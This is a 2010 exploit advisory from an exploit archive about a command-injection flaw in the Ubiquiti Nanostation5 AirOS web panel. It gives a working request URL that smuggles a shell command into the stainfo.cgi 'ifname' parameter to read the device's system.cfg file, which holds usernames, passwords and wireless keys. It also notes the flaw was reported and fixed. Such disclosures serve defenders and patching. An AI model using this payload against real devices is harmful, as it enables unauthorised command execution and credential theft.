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Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution
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# Exploit Title: Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution
# Date: 01 07 2010
# Author: Emanuele ‘emgent’ Gentili
# Software Link: N/A
# Version: AirOS all firmwares
# CVE : N/A

[+] Vulnerability Descrition
With not privileged account, like read-only, an attacker is able to execute commands into
the system via web application panel. Knowing that the system.cfg file is located in /tmp/ directory,
will be simple read the content (like users, password, wireless key ecc.).
The vulnerable function is about &quot;Show AP info&quot;, that is located in the main page of web panel
in the section &quot;Extra Informations&quot;.

[+] The Remote Command Execution string

http://router_ip/stainfo.cgi?ifname=eth0;cat%20/tmp/system.cfg|grep%20users

[+] Responsible Disclosure
After some mail with Ubnt QA and Security Team people, the fixed firmware was released.

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-01]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/12987